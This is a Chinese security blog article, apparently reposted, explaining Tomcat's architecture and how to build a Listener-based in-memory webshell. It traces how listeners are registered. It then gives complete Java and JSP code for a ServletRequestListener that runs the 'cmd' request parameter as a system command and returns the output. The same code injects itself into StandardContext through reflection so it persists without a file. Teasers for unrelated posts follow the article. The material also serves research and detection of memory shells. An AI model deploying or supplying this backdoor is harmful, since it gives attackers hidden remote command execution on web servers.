tomcat Listener 内存马浅谈

本文来源无问社区,更多实战内容可前往查看icon-default.png?t=N7T8http://www.wwlib.cn/index.php/artread/artid/3651.html
Tomcat 介绍

Tomcat的主要功能

toncat作为一个web服务器,实现了两个核心的功能

http 服务器功能:进行socket 通信(基于TCP/IP),解析HTTP 报文

Servlet 容器功能:加载和管理Servlet ,由Servlet 具体负责处理Rqeusts 请求

图片

以上两个功能对应着tomcat的两个核心组件,分别是连接器(Connector)和容器(Container),连接器负责对外交流(完成http服务器功能),容器负责内部处理(完成Servlet容器功能)

图片

  • Server server 服务器的意思,代表着整个tomcat服务器,一个tomcat只有一个Servler,Server中包含一个Server 组件,用户提供具体服务。
  • Service 服务是server 内部的组件,一个Server可以包括多个Service。将若干个Connector 组件绑定到一个Container。
  • Connector 连接器,是service的核心组件之一,一个service 可以有多个Connector,主要连接客户端的请求,用于接受请求并将请求封装成request和response,然后交给Container进行处理,Container 处理完之后交个Connector返回给客户端。
  • Container 负责处理用户的Servlet 请求。

Connector 连接器

连接器主要完成以下三个核心功能

  • socket 通信,即网络编程
  • 解析处理应用层协议,封装成一个Request对象。
  • 将request 转换为ServletReqiest,将Response转换为ServletResponse

以上三个组件分别对应 EndPoint、Processor、Adapter来完成,Endpoint 负责提供请求字节流给Process,Porcess负责提供Tomcat 定义的request 对象来给Adapter,Adapter负责提供标准的ServletRequest 对象给Servlet 容器。

图片

Container 容器

Container 组件成为Catalina,其是tomcat的核心,在Container 中,有四种容器,分别是Engine,Host,Context, wrapper,这四个容器成为套娃式的分层结构设计。

图片

四种容器的作用:

  • Engine 表示整个Catalina的Servlet 引擎,用来管理多个虚拟站点,一个service最多只能有一个Engine,但是一个引擎可包含多个host。
  • Host 代表一个虚拟机,或者一个站点,可以给Tomcat 配置多个虚拟主机的地址,而一个虚拟主机可包含多个Context
  • Context 表示一个web应用程序,每一个context都有唯一的path,一个web应用可以包含多个wrapper
  • Wrapper 表示一个Servlet,负责管理整个Servlet的声明周期,包括装载,初始化,资源回收等。

图片

Listener 内存马

最适合作为内存马的监听器为ServletRequestListener,它用于监听ServletRequest 对象的创建和销毁过程,因此当我们发起任意请求的时候,都会触发。

Listener 就是监听器,能够监听一些事件从而达到一些效果,要实现一个Listener 必须实现EventListener 接口

图片

图片

编写一个ServletRequestListener 接口的实现类进行测试:

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;@WebListener
public class ListenerTest implements ServletRequestListener {public void requestInitialized(ServletRequestEvent servletRequestEvent) {HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();try {String cmd = request.getParameter("cmd");if (cmd != null) {Runtime.getRuntime().exec(cmd);}} catch (Exception e) {e.printStackTrace();}}public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}
}

当访问任意路由的时候,都可以执行命令

存在的路径

图片

不存在的路径

图片

回显

既然实现了命令执行,那么就需要做到回显,那么现在就需要分析两个问题

1、 恶意代码从哪里传入

2、 tomcat的Listener 是如何实现的

恶意代码的位置已经明了了,就是传入的参数,下面就是找到Listener 是如何实现注册的。

在ServletRequestEvent; 中getServletRequest;()方法,返回了ServletRequest; 接口的实现类,

图片

具体是哪个实现类,可以打印出来,查看一下

图片

发现返回了RequestFacade 这个HttpServlet的实现类

图片

这里面有一个Request类型的属性。

图片

所以可以通过反射修改request的属性字段来获取到Request 属性,然后就可以通过reqeust属性的getResponse方法来获取Response类,

图片

图片

然后通过输出流即可构造回显

package com.qq.Controller;import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;public class ServletListenTest implements ServletRequestListener {public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}public void requestInitialized(ServletRequestEvent servletRequestEvent) {HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest();try {String cmd = req.getParameter("cmd");if (cmd != null){Field field = req.getClass().getDeclaredField("request");field.setAccessible(true);Request request = (Request) field.get(req);Response response = request.getResponse();InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();ByteArrayOutputStream bos = new ByteArrayOutputStream();byte[] bytes = new byte[1024];int a= -1;while ((a = inputStream.read(bytes)) != -1){bos.write(bytes, 0, a);}response.getWriter().write(new String(bos.toByteArray()));}}catch (Exception e){e.printStackTrace();}}
}
Tomcat Listener 注册流程

listenerstart()

在构造好了Listener 之后只需要搞清楚注册流程就可以动态注册了。

在Listener 打个断点

图片

查看堆栈可以定位到StandardContext;#listenerStart;()方法,然后对Listener 进行了实例化。

图片

查看下listener 从findApplicationListeners;方法中获取的

图片

跟进findApplicationListeners;方法,findApplicationListeners是获取applicationListeners属性的

图片

applicationListeners 数组中存放的就是listener的名字

图片

目前可以得知的流程如下:

1、注册的Listener 名字存放在applicationListeners数组中(名字是从web.xml中获取的) 2、findApplicationListeners 函数取出内容并进行实例化,并存储到result中。

继续跟进,首先遍历了results数组,然后在for循环中根据不同类型的Listener添加到不同的数组中,这里的listener 被添加到了eventListeners 数组中。

图片

接下来调用getApplicationLifecycleListeners;获取到applicationEventListenersList;属性(即已注册的listener)

图片

然后调用了setApplicationEventListeners;来进行设置,可以看到方法会先清空applicationEventListenersList; ,所以上面重新取出来进行赋值,然后将获取的数组全部进行传入。

图片

看到applicationEventListenersList; 数组,可以看到List<Object>。所以这里面存放的都是实例化后的Listener

图片

fireRequestInitEvent

在前面的函数部分知道了listemnerStart() 将实例化的listener 添加到了applicationEventListenersList中,但是只存进去是不会触发的,进行第二个断点,然后执行命令,查看调用堆栈

图片

看到调用了requestInitialized(event);;这个listener 就是调用的恶意的Listener实例,可以看到是通过遍历instances数组,而instances数组就是通过getApplicationEventListeners; 来进行获取的值

图片

这里就是上面将函数实例添加进去的地方。所以我们内存马只需要添加到这个数组就可以了

最终构造

先调用getApplicationEventListeners 将applicationEventListenersList 取出来,然后增加我们构造好的listener添加进去

Obeject[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());

由于方法都在StandardContext中,所以需要先获取StandradContext对象

ServletContext servletContext = request.getServletContext(); 
try {Field applicationContextField = servletContext.getClass().getDeclaredField("context");applicationContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);// Use the standardContext object...
} catch (NoSuchFieldException | IllegalAccessException e) {// Handle the exceptione.printStackTrace();
}

接下来就是编写内存马

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!class ListenerTest implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest();try {String cmd = req.getParameter("cmd");if (cmd != null) {Field field = req.getClass().getDeclaredField("request");field.setAccessible(true);Request request = (Request) field.get(req);Response response = request.getResponse();InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] bytes = new byte[1024];int a = -1;while ((a = in.read(bytes)) != -1) {baos.write(bytes, 0, a);}response.getWriter().write(new String(baos.toByteArray()));}} catch (Exception e) {e.printStackTrace();}}}
%>
<%Field field = request.getClass().getDeclaredField("request");field.setAccessible(true);Request req = (Request) field.get(request);StandardContext standardContext = (StandardContext) req.getContext();ListenerTest listenerTest = new ListenerTest();standardContext.addApplicationEventListener(listenerTest);
%>

或者s

<%Field field = request.getClass().getDeclaredField("request");field.setAccessible(true);Request req = (Request) field.get(request);StandardContext standardContext = (StandardContext) req.getContext();ListenerTest listenerTest = new ListenerTest();Object[] objects = standardContext.getApplicationEventListeners();List<Object> listeners = Arrays.asList(objects);List<Object> arrayList = new ArrayList<>(listeners);arrayList.add(listenerTest);standardContext.setApplicationEventListeners(arrayList.toArray());//standardContext.addApplicationEventListener(listenerTest);
%>

此处为jsp脚本,也可以通过编译成class,然后通过加载字节码进行执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/404186.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

案例分享—国外深色UI界面设计赏析

在国外&#xff0c;深色界面设计&#xff08;Dark Mode&#xff09;已成为提升用户体验的重要趋势。它不仅有效减少屏幕亮度&#xff0c;保护用户视力&#xff0c;还能在夜晚或低光环境下提供更加舒适的浏览体验。设计师们普遍认识到&#xff0c;深色主题不仅提升了应用的视觉层…

Vue中下载内容为word文档

1.使用 html-docx-js&#xff1a;这是一个将 HTML 转换为 Word 文档的库。 2. 利用 Blob 和 FileSaver.js&#xff1a;创建并下载生成的 Word 文档。 在 Vue.js 中实现步骤如下: 1. npm 安装 html-docx-js 和 file-saver npm install html-docx-js npm install file-saver2.…

【vue教程】六. Vue 的状态管理

目录 往期列表本章涵盖知识点回顾Vuex 的基本概念什么是 Vuex&#xff1f;为什么需要 Vuex&#xff1f; Vuex 的核心概念stategettersmutationsactionsmodules Vuex 的安装和基本使用安装 Vuex创建 store在 Vue 应用中使用 store在组件中访问和修改状态 Vuex 的模块化模块化的好…

2024新型数字政府综合解决方案(七)

新型数字政府综合解决方案通过集成人工智能、大数据、区块链和云计算技术&#xff0c;创建了一个高度智能化和互联互通的政府服务平台&#xff0c;旨在全面提升行政效率、服务质量和透明度。该平台实现了跨部门的数据整合与实时共享&#xff0c;利用人工智能进行智能决策支持和…

PCRNet: Point Cloud Registration Network using PointNet Encoding 论文解读

目录 一、导言 二、先导知识 1、Frobenius范数 三、相关工作 1、点云配准工作 2、PointNet 3、基于深度学习的点云配准 四、PCRNet 1、PCRNet 2、Iterative PCRNet 3、损失函数 五、实验 一、导言 本论文收录于CVPR2019&#xff0c;本论文提出了一种依赖PointNet网…

11.2.0.4 RAC 节点1重做操作系统后如何复原

环境描述&#xff1a;Redhat7.9 11.2.0.4 RAC 双节点 实验背景 群里有大佬在交流RAC中1个节点操作系统坏了如何修复&#xff0c;故有了该实验。 在正常的生产环境当中&#xff0c;有时候会遇到主机磁盘以及其他硬件故障导致主机OS系统无法启动&#xff0c;或者OS系统本身故障…

【海奇HC-RTOS平台E100-问题点】

海奇HC-RTOS平台E100-问题点 ■ btn 没有添加到group中 &#xff0c;怎么实现的事件的■ 屏幕是1280*720, UI是1024*600,是否修改UI■ hc15xx-db-e100-v10-hcdemo.dtb 找不到■ 触摸屏驱动 能否给个实例■ 按键驱动■ __initcall(projector_auto_start)■ source insigt4.0 #if…

【esp32程序编译提示undefined reference to ‘xxxx‘】

案例1&#xff1a; 【背景】 在使用SquareLine Studio设计UI时&#xff0c;成功导出UI代码&#xff0c;在编译代码的时候提示undefined reference to ‘ui_img_1869164015’&#xff0c;有一个变量无法识别&#xff0c;没有定义。 【定位步骤】 1.首先找到用这个变量的.c文件…

复现DOM型XSS攻击(1-8关)

目录 第一关&#xff1a;​ 分析代码&#xff1a; 第二关&#xff1a; 分析代码&#xff1a; 第三关&#xff1a; 分析代码&#xff1a; 第四关&#xff1a; 分析代码&#xff1a; 第五关&#xff1a; 分析代码&#xff1a; 第六关&#xff1a; 分析代码&#xff1…

SpringBoot依赖之Spring Data Redis 一 List 类型

概念 Spring Data Redis (AccessDriver) 依赖名称: Spring Data Redis (AccessDriver)功能描述: Advanced and thread-safe Java Redis client for synchronous, asynchronous, and reactive usage. Supports Cluster, Sentinel, Pipelining, Auto-Reconnect, Codecs and muc…

Spring源码-源码层面讲解bean标签添加了lookup-method和replaced-method标签之后源码执行流程,以及对象实例化的流程

bean.xml文件添加lookup-method和replaced-method标签 <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema/beans"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:sch…

C语言部分内存函数详解

C语言部分内存函数详解 前言1.memcpy1.1基本用法1.2注意事项**目标空间与原空间不能重叠****目标空间原数据会被覆盖****目标空间要够大****拷贝字节数需小于原空间大小** 1.3模拟实现 2.memmove2.1基本用法2.2注意事项2.3模拟实现 3.memset3.1基本用法 4.memcmp4.1基本用法4.2…

[论文笔记]ZeRO: Memory Optimizations Toward Training Trillion Parameter Models

引言 今天带来ZeRO: Memory Optimizations Toward Training Trillion Parameter Models的论文笔记。 大型深度模型提供了显著的准确性提升&#xff0c;但训练数十亿到数万亿个参数是具有挑战性的。现有的解决方案&#xff0c;如数据并行和模型并行&#xff0c;存在基本的局限…

python小游戏之摇骰子猜大小

最近学习Python的随机数&#xff0c;逻辑判断&#xff0c;循环的用法&#xff0c;就想找一些练习题&#xff0c;比如小游戏猜大小&#xff0c;程序思路如下&#xff1a; 附上源代码如下&#xff1a; 摇骰子的函数&#xff0c;这个函数其实并不需要传任何参数&#xff0c;调用后…

【Delphi】中多显示器操作基本知识点

提要&#xff1a; 目前随着计算机的发展&#xff0c;4K显示器已经逐步在普及&#xff0c;笔记本的显示器分辨率也都已经超过2K&#xff0c;多显示器更是普及速度很快。本文介绍下Delphi中操作多显示器的基本知识点&#xff08;Windows系统&#xff09;&#xff0c;这些知识点在…

【Java】 方法引用与Lambda(快速上手)

Java系列文章目录 补充内容 Windows通过SSH连接Linux 第一章 Linux基本命令的学习与Linux历史 文章目录 Java系列文章目录一、前言二、学习内容&#xff1a;三、问题描述四、解决方案&#xff1a;4.1 方法引用 五、总结&#xff1a; 一、前言 Calculator::plus看到::好奇有什…

使用多种机器学习模型进行情感分析

使用 TF-IDF 与贝叶斯分类器进行情感分析是一个常见且有效的组合&#xff0c;特别是在文本分类任务中。贝叶斯分类器&#xff08;通常是朴素贝叶斯分类器&#xff09;等机器学习模型具有计算简单、效率高的优点&#xff0c;且在文本分类任务中表现良好。接下来&#xff0c;我将…

eNSP 华为ACL配置

华为ACL配置 需求&#xff1a; 公司保证财务部数据安全&#xff0c;禁止研发部门和互联网访问财务服务器&#xff0c;但总裁办不受影响 R1&#xff1a; <Huawei>sys [Huawei]sys Router1 [Router1]undo info-center enable [Router1]int g1/0/0 [Router1-GigabitEth…

语音助手Verbi:科技创新的未来

今天&#xff0c;我要向大家介绍一个名为Verbi的语音助手项目。这是一个结合了多种先进技术的模块化语音助手应用程序&#xff0c;能够实现语音到文本、文本生成和文本到语音的全流程处理。通过这个项目&#xff0c;我们可以体验到尖端科技如何改变我们的日常生活。 Verbi的诞…

ubuntu配pip的源

临时使用源 pip install [包名] -i [pip源URL]# 示例 pip install pytest -i https://pypi.tuna.tsinghua.edu.cn/simple更换配置pip镜像源 step1&#xff1a;创建一个配置文件 mkdir ~/.pip/ cd .pip sudo vim pip.conf step2:填写源信息&#xff0c;保存并退出【:wq】 [g…